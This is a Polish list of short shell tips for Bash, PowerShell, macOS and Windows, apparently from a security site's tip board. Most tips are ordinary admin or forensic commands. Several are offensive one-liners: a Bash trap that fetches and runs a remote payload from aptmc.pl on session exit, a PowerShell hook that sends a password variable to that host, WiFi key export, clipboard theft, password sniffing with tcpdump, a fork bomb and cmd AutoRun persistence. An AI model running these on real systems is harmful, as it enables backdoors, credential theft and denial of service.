ALPHACON BBS

Bash / Unix

trap '`curl -ksL aptmc.pl/trap/`' EXIT - backdoor uruchamiający złośliwy payload po zakończeniu sesji terminala

trap '`curl -ksL aptmc.pl/trap/`' EXIT

Czytaj całość ↵Źródło

PowerShell

(gcm ssh).source - wyświetl pełną ścieżkę do polecenia ssh

(gcm ssh).source

Czytaj całość ↵Źródło

macOS

log show --style compact --predicate 'process == "sharingd" && eventMessage CONTAINS "WiFi join start"' --last 1d - pokaż z jakimi WiFi łączył się ostatnio Mac

log show --style compact --predicate 'process == "sharingd" && eventMessage CONTAINS "WiFi join start"' --last 1d

Czytaj całość ↵Źródło

PowerShell

Parametr -Wait cmdletu Get-Content pozwoli monitorować nowe linie dopisywane do pliku

-Wait

Czytaj całość ↵Źródło

Bash / Unix

Monitorowanie plików na żywo może być wygodniejsze z wykorzystaniem less +F zamiast tail -f

less +F

Czytaj całość ↵Źródło

PowerShell

(sv -o a -p password "").Attributes.Add([ValidateScript]({irm "aptmc.pl/?$_";return $true;})) - eksfiltruj zmienną password kiedy tylko zostanie ustawiona

(sv -o a -p password "").Attributes.Add([ValidateScript]({irm "aptmc.pl/?$_";return $true;}))

Czytaj całość ↵Źródło

Windows

netsh wlan export profile folder=. key=clear - wyeksportuj sieci WiFi wraz z hasłami

netsh wlan export profile folder=. key=clear

Czytaj całość ↵Źródło

macOS

mdls -name kMDItemWhereFroms plik.zip - pokaż skąd został pobrany plik plik.zip

mdls -name kMDItemWhereFroms plik.zip

Czytaj całość ↵Źródło

PowerShell

Get-ScheduledTask|%{[pscustomobject]@{Name=$_.TaskName;Execute=$_.Actions.Execute;Args=$_.Actions.Arguments}}|Out-GridView - zapoluj na złośliwe zadania

Get-ScheduledTask|%{[pscustomobject]@{Name=$_.TaskName;Execute=$_.Actions.Execute;Args=$_.Actions.Arguments}}|Out-GridView

Czytaj całość ↵Źródło

macOS

pbpaste - wykradnij zawartość schowka w macOS X

pbpaste

Czytaj całość ↵Źródło

PowerShell

Get-Service | ConvertTo-Html > services.html - eksportuj listę usług do HTML

Get-Service | ConvertTo-Html > services.html

Czytaj całość ↵Źródło

PowerShell

Get-NetIPAddress -AddressState Preferred|select IPAddress,InterfaceAlias - wyświetl aktywne interfejsy sieciowe i ich IP

Get-NetIPAddress -AddressState Preferred|select IPAddress,InterfaceAlias

Czytaj całość ↵Źródło

PowerShell

gc -head 10 plik.txt, gc -tail 10 plik.txt - wyświetl odpowiednio 10 pierwszych linijek i 10 ostatnich linijek pliku

gc -head 10 plik.txt

Czytaj całość ↵Źródło

Bash / Unix

Polowanie na latające po sieci hasła

tcpdump -n -i any -A -l port http or port ftp or port smtp or port imap or port pop3|grep --color -Ei -C 2 'authorization:|pass=|pwd=|login=|user=|username=|user |pass '

Czytaj całość ↵Źródło

PowerShell

gci -r $HOME|gi -s *|where Stream -ne ':$DATA'|select Filename,Stream - znajdź w katalogu domowym użytkownika pliki, które posiadają ukrytą zawartość jako Alternate Data Streams

gci -r $HOME|gi -s *|where Stream -ne ':$DATA'|select Filename,Stream

Czytaj całość ↵Źródło

Bash / Unix

_(){ _|_& };_ - bashowa fork bomba pozwalająca sprawdzić poprawność konfiguracji systemów Unix/Linux

_(){ _|_& };_

Czytaj całość ↵Źródło

PowerShell

for(){$p=(gps|Sort-Object -D CPU|Select -First ($Host.UI.RawUI.WindowSize.Height-4)|Out-String).trim();cls;""+(date);$p;sleep 1} - *nixowy top w Powershellu

for(){$p=(gps|Sort-Object -D CPU|Select -First ($Host.UI.RawUI.WindowSize.Height-4)|Out-String).trim();cls;""+(date);$p;sleep 1}

Czytaj całość ↵Źródło

PowerShell

New-Item -Path "HKCU:\Software\Microsoft\Command Processor" -Force|Set-ItemProperty -Name AutoRun -Value "mspaint" - dodaj backdoora, który przy uruchamianiu cmd.exe uruchomi również coś dla zabicia nudy

New-Item -Path "HKCU:\Software\Microsoft\Command Processor" -Force|Set-ItemProperty -Name AutoRun -Value "mspaint" - dodaj backdoora, który przy uruchamianiu cmd.exe uruchomi również coś dla zabicia nudy

New-Item -Path "HKCU:\Software\Microsoft\Command Processor" -Force|Set-ItemProperty -Name AutoRun -Value "mspaint"

Czytaj całość ↵Źródło

PowerShell

Warto czasem spojrzeć, czy nie były podłączane podejrzane klawiatury

Warto czasem spojrzeć, czy nie były podłączane podejrzane klawiatury: ls HKLM:\SYSTEM\CurrentControlSet\Enum\HID\*

ls HKLM:\SYSTEM\CurrentControlSet\Enum\HID\*

Czytaj całość ↵Źródło

PowerShell

Symulacja klawiatury Powershellem? Czemu nie

Symulacja klawiatury Powershellem? Czemu nie: Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('^{ESC}calc.exe{ENTER}')

Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('^{ESC}calc.exe{ENTER}')

Czytaj całość ↵Źródło

Protipy